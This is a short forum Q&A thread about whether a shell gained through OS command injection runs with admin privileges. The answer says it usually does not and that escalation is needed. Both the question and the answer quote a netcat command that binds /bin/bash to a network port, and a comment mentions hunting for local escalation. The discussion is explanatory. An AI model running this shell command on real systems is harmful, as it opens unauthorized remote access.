I have a question about privileges when performing an Operating system command injection.

If an attacker succeeds in getting a reverse shell on a remote server through netcat (netcat -v -e '/bin/bash' -l -p 5550), does he/she have admin privileges on the victim machine or some sort of escalation is needed?


1 Answer 1


Usually, you need some sort of escalation.

If you can run the command netcat -v -e '/bin/bash' -l -p 5550 all you've done (effectively) is have the remote machine open a port for you as the user that was running whatever process ran the command. That is to say, if you managed to inject your netcat command into a www process, you are likely logged in as the 'www' user, and not (if the remote machine has been remotely secured) as root.

  • Thanks, so it all depends on the target machine ...so getting a reverse shell doesn't mean that everything is ok..in most cases I believe that getting access to files on the server is no mean achievement..am I right? Feb 10, 2013 at 10:25
  • Yeah - once you have a user shell you can start poking around for other things, and it may be more likely on a machine with at least one major hole that you may find a local escalation you can use.
    – Bob Watson
    Feb 10, 2013 at 10:31

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